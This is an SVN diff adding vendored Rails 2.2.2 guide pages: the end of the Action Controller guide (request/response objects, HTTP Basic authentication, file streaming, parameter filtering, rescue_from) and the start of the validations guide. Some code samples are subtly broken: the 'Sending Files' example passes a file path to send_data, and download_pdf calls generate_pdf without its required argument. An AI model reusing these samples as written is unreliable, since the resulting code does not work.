+<div class="para"><p>Rails adds this token to every form that's generated using the <a href="../form_helpers.html">form helpers</a>, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method <tt>form_authenticity_token</tt>:</p></div>
+<div class="listingblock">
+<div class="title">Example: Add a JavaScript variable containing the token for use with Ajax</div>
+<div class="content">
+<pre><tt>&lt;%= javascript_tag "MyApp.authenticity_token = '#{form_authenticity_token}'" %&gt;</tt></pre>
+</div></div>
+<div class="para"><p>The <a href="../security.html">Security Guide</a> has more about this and a lot of other security-related issues that you should be aware of when developing a web application.</p></div>
+</div>
+<h2 id="_the_tt_request_tt_and_tt_response_tt_objects">9. The <tt>request</tt> and <tt>response</tt> Objects</h2>
+<div class="sectionbody">
+<div class="para"><p>In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The <tt>request</tt> method contains an instance of AbstractRequest and the <tt>response</tt> method returns a <tt>response</tt> object representing what is going to be sent back to the client.</p></div>
+<h3 id="_the_tt_request_tt_object">9.1. The <tt>request</tt> Object</h3>
+<div class="para"><p>The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the <a href="http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html">API documentation</a>. Among the properties that you can access on this object are:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+host - The hostname used for this request.
+</p>
+</li>
+<li>
+<p>
+domain - The hostname without the first segment (usually "www").
+</p>
+</li>
+<li>
+<p>
+format - The content type requested by the client.
+</p>
+</li>
+<li>
+<p>
+method - The HTTP method used for the request.
+</p>
+</li>
+<li>
+<p>
+get?, post?, put?, delete?, head? - Returns true if the HTTP method is get/post/put/delete/head.
+</p>
+</li>
+<li>
+<p>
+headers - Returns a hash containing the headers associated with the request.
+</p>
+</li>
+<li>
+<p>
+port - The port number (integer) used for the request.
+</p>
+</li>
+<li>
+<p>
+protocol - The protocol used for the request.
+</p>
+</li>
+<li>
+<p>
+query_string - The query string part of the URL - everything after "?".
+</p>
+</li>
+<li>
+<p>
+remote_ip - The IP address of the client.
+</p>
+</li>
+<li>
+<p>
+url - The entire URL used for the request.
+</p>
+</li>
+</ul></div>
+<h4 id="_tt_path_parameters_tt_tt_query_parameters_tt_and_tt_request_parameters_tt">9.1.1. <tt>path_parameters</tt>, <tt>query_parameters</tt> and <tt>request_parameters</tt></h4>
+<div class="para"><p>Rails collects all of the parameters sent along with the request in the <tt>params</tt> hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The <tt>query_parameters</tt> hash contains parameters that were sent as part of the query string while the <tt>request_parameters</tt> hash contains parameters sent as part of the post body. The <tt>path_parameters</tt> hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.</p></div>
+<h3 id="_the_tt_response_tt_object">9.2. The <tt>response</tt> Object</h3>
+<div class="para"><p>The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+body - This is the string of data being sent back to the client. This is most often HTML.
+</p>
+</li>
+<li>
+<p>
+status - The HTTP status code for the response, like 200 for a successful request or 404 for file not found.
+</p>
+</li>
+<li>
+<p>
+location - The URL the client is being redirected to, if any.
+</p>
+</li>
+<li>
+<p>
+content_type - The content type of the response.
+</p>
+</li>
+<li>
+<p>
+charset - The character set being used for the response. Default is "utf8".
+</p>
+</li>
+<li>
+<p>
+headers - Headers used for the response.
+</p>
+</li>
+</ul></div>
+<h4 id="_setting_custom_headers">9.2.1. Setting Custom Headers</h4>
+<div class="para"><p>If you want to set custom headers for a response then <tt>response.headers</tt> is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to <tt>headers</tt> with the name and value:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>response<span style="color: #990000">.</span>headers<span style="color: #990000">[</span><span style="color: #FF0000">"Content-Type"</span><span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"application/pdf"</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_http_basic_authentication">10. HTTP Basic Authentication</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, <tt>authenticate_or_request_with_http_basic</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AdminController <span style="color: #990000">&lt;</span> ApplicationController
+
+  USERNAME<span style="color: #990000">,</span> PASSWORD <span style="color: #990000">=</span> <span style="color: #FF0000">"humbaba"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8"</span>
+
+  before_filter <span style="color: #990000">:</span>authenticate
+
+private
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> authenticate
+    authenticate_or_request_with_http_basic <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>username<span style="color: #990000">,</span> password<span style="color: #990000">|</span>
+      username <span style="color: #990000">==</span> USERNAME <span style="color: #990000">&amp;&amp;</span> Digest<span style="color: #990000">::</span>SHA1<span style="color: #990000">.</span>hexdigest<span style="color: #990000">(</span>password<span style="color: #990000">)</span> <span style="color: #990000">==</span> PASSWORD
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.</p></div>
+</div>
+<h2 id="_streaming_and_file_downloads">11. Streaming and File Downloads</h2>
+<div class="sectionbody">
+<div class="para"><p>Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the <tt>send_data</tt> and the <tt>send_file</tt> methods, that will both stream data to the client. <tt>send_file</tt> is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.</p></div>
+<div class="para"><p>To stream data to the client, use <tt>send_data</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"prawn"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
+
+  <span style="font-style: italic"><span style="color: #9A1900"># Generate a PDF document with information on the client and return it.</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># The user will get the PDF as a file download.</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> download_pdf
+    client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+    send_data<span style="color: #990000">(</span>generate_pdf<span style="color: #990000">,</span> <span style="color: #990000">:</span>filename <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"#{client.name}.pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+private
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> generate_pdf<span style="color: #990000">(</span>client<span style="color: #990000">)</span>
+    Prawn<span style="color: #990000">::</span>Document<span style="color: #990000">.</span>new <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+      text client<span style="color: #990000">.</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>align <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>center
+      text <span style="color: #FF0000">"Address: #{client.address}"</span>
+      text <span style="color: #FF0000">"Email: #{client.email}"</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span><span style="color: #990000">.</span>render
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>download_pdf</tt> action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the <tt>:disposition</tt> option to "inline". The opposite and default value for this option is "attachment".</p></div>
+<h3 id="_sending_files">11.1. Sending Files</h3>
+<div class="para"><p>If you want to send a file that already exists on disk, use the <tt>send_file</tt> method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
+
+  <span style="font-style: italic"><span style="color: #9A1900"># Stream a file that has already been generated and stored on disk</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> download_pdf
+    client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+    send_data<span style="color: #990000">(</span><span style="color: #FF0000">"#{RAILS_ROOT}/files/clients/#{client.id}.pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>filename <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"#{client.name}.pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the <tt>:stream</tt> option or adjust the block size with the <tt>:buffer_size</tt> option.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">Be careful when using (or just don't use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.</td>
+</tr></table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.</td>
+</tr></table>
+</div>
+<h3 id="_restful_downloads">11.2. RESTful Downloads</h3>
+<div class="para"><p>While <tt>send_data</tt> works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the <tt>show</tt> action, without any streaming:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
+
+  <span style="font-style: italic"><span style="color: #9A1900"># The user can request to receive this resource as HTML or PDF.</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+    <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+
+    respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+      format<span style="color: #990000">.</span>html
+      format<span style="color: #990000">.</span>pdf<span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>pdf <span style="color: #990000">=&gt;</span> generate_pdf<span style="color: #990000">(</span><span style="color: #009900">@client</span><span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file <tt>config/initializers/mime_types.rb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Mime<span style="color: #990000">::</span>Type<span style="color: #990000">.</span>register <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>pdf
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.</td>
+</tr></table>
+</div>
+<div class="para"><p>Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>GET /clients/1.pdf</tt></pre>
+</div></div>
+</div>
+<h2 id="_parameter_filtering">12. Parameter Filtering</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails keeps a log file for each environment (development, test and production) in the "log" folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The <tt>filter_parameter_logging</tt> method can be used to filter out sensitive information from the log. It works by replacing certain values in the <tt>params</tt> hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+
+  filter_parameter_logging <span style="color: #990000">:</span>password
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in return and replaces those for which the block returns true.</p></div>
+</div>
+<h2 id="_rescue">13. Rescue</h2>
+<div class="sectionbody">
+<div class="para"><p>Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:</p></div>
+<h3 id="_the_default_500_and_404_templates">13.1. The Default 500 and 404 Templates</h3>
+<div class="para"><p>By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the <tt>public</tt> folder, in <tt>404.html</tt> and <tt>500.html</tt> respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.</p></div>
+<h3 id="_tt_rescue_from_tt">13.2. <tt>rescue_from</tt></h3>
+<div class="para"><p>If you want to do something a bit more elaborate when catching errors, you can use <tt>rescue_from</tt>, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a <tt>rescue_from</tt> directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the <tt>:with</tt> option. You can also use a block directly instead of an explicit Proc object.</p></div>
+<div class="para"><p>Here's how you can use <tt>rescue_from</tt> to intercept all ActiveRecord::RecordNotFound errors and do something with them.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+
+  rescue_from ActiveRecord<span style="color: #990000">::</span>RecordNotFound<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>record_not_found
+
+private
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> record_not_found
+    render <span style="color: #990000">:</span>text <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"404 Not Found"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #993399">404</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+
+  rescue_from User<span style="color: #990000">::</span>NotAuthorized<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>user_not_authorized
+
+private
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> user_not_authorized
+    flash<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You don't have access to this section."</span>
+    redirect_to <span style="color: #990000">:</span>back
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
+
+  <span style="font-style: italic"><span style="color: #9A1900"># Check that the user has the right authorization to access clients.</span></span>
+  before_filter <span style="color: #990000">:</span>check_authorization
+
+  <span style="font-style: italic"><span style="color: #9A1900"># Note how the actions don't have to worry about all the auth stuff.</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
+    <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+private
+
+  <span style="font-style: italic"><span style="color: #9A1900"># If the user is not authorized, just throw the exception.</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> check_authorization
+    <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> User<span style="color: #990000">::</span>NotAuthorized <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> current_user<span style="color: #990000">.</span>admin?
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's <a href="http://m.onkey.org/2008/7/20/rescue-from-dispatching">article</a> on the subject for more information.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_changelog">14. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+November 4, 2008: First release version by Tore Darrell
+</p>
+</li>
+</ul></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/activerecord_validations_callbacks.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/activerecord_validations_callbacks.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/activerecord_validations_callbacks.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,749 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Active Record Validations and Callbacks</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_motivations_to_validate_your_active_record_objects">Motivations to validate your Active Record objects</a>
+					</li>
+					<li>
+					<a href="#_how_it_works">How it works</a>
+						<ul>
+						
+							<li><a href="#_when_does_validation_happens">When does validation happens?</a></li>
+						
+							<li><a href="#_the_meaning_of_em_valid_em">The meaning of <em>valid</em></a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_the_declarative_validation_helpers">The declarative validation helpers</a>
+						<ul>
+						
+							<li><a href="#_the_tt_validates_acceptance_of_tt_helper">The <tt>validates_acceptance_of</tt> helper</a></li>
+						
+							<li><a href="#_the_tt_validates_associated_tt_helper">The <tt>validates_associated</tt> helper</a></li>
+						
+							<li><a href="#_the_tt_validates_confirmation_of_tt_helper">The <tt>validates_confirmation_of</tt> helper</a></li>
+						
+							<li><a href="#_the_tt_validates_each_tt_helper">The <tt>validates_each</tt> helper</a></li>
+						
+							<li><a href="#_the_tt_validates_exclusion_of_tt_helper">The <tt>validates_exclusion_of</tt> helper</a></li>
+						
+							<li><a href="#_the_tt_validates_format_of_tt_helper">The <tt>validates_format_of</tt> helper</a></li>
+						
+							<li><a href="#_the_tt_validates_inclusion_of_tt_helper">The <tt>validates_inclusion_of</tt> helper</a></li>
+						
+							<li><a href="#_the_tt_validates_length_of_tt_helper">The <tt>validates_length_of</tt> helper</a></li>
+						
+							<li><a href="#_the_tt_validates_numericallity_of_tt_helper">The <tt>validates_numericallity_of</tt> helper</a></li>
+						
+							<li><a href="#_the_tt_validates_presence_of_tt_helper">The <tt>validates_presence_of</tt> helper</a></li>
+						
+							<li><a href="#_the_tt_validates_uniqueness_of_tt_helper">The <tt>validates_uniqueness_of</tt> helper</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_common_validation_options">Common validation options</a>
+						<ul>
+						
+							<li><a href="#_the_tt_allow_nil_tt_option">The <tt>:allow_nil</tt> option</a></li>
+						
+							<li><a href="#_the_tt_message_tt_option">The <tt>:message</tt> option</a></li>
+						
+							<li><a href="#_the_tt_on_tt_option">The <tt>:on</tt> option</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_conditional_validation">Conditional validation</a>
+						<ul>
+						
+							<li><a href="#_using_a_symbol_with_the_tt_if_tt_and_tt_unless_tt_options">Using a symbol with the <tt>:if</tt> and <tt>:unless</tt> options</a></li>
+						
+							<li><a href="#_using_a_string_with_the_tt_if_tt_and_tt_unless_tt_options">Using a string with the <tt>:if</tt> and <tt>:unless</tt> options</a></li>
+						
+							<li><a href="#_using_a_proc_object_with_the_tt_if_tt_and_tt_unless_tt_options">Using a Proc object with the <tt>:if</tt> and :<tt>unless</tt> options</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_writing_your_own_validation_methods">Writing your own validation methods</a>
+					</li>
+					<li>
+					<a href="#_changelog">Changelog</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>Active Record Validations and Callbacks</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide teaches you how to work with the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database and also how to teach them to perform custom operations at certain points of their lifecycles.</p></div>
+<div class="para"><p>After reading this guide and trying out the presented concepts, we hope that you'll be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Correctly use all the built-in Active Record validation helpers
+</p>
+</li>
+<li>
+<p>
+Create your own custom validation methods
+</p>
+</li>
+<li>
+<p>
+Work with the error messages generated by the validation proccess
+</p>
+</li>
+<li>
+<p>
+Register callback methods that will execute custom operations during your objects lifecycle, for example before/after they are saved.
+</p>
+</li>
+<li>
+<p>
+Create special classes that encapsulate common behaviour for your callbacks
+</p>
+</li>
+<li>
+<p>
+Create Observers - classes with callback methods specific for each of your models, keeping the callback code outside your models' declarations.
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_motivations_to_validate_your_active_record_objects">1. Motivations to validate your Active Record objects</h2>
+<div class="sectionbody">
+<div class="para"><p>The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It's important to be sure that an email address column only contains valid email addresses, or that the customer's name column will never be empty. Constraints like that keep your database organized and helps your application to work properly.</p></div>
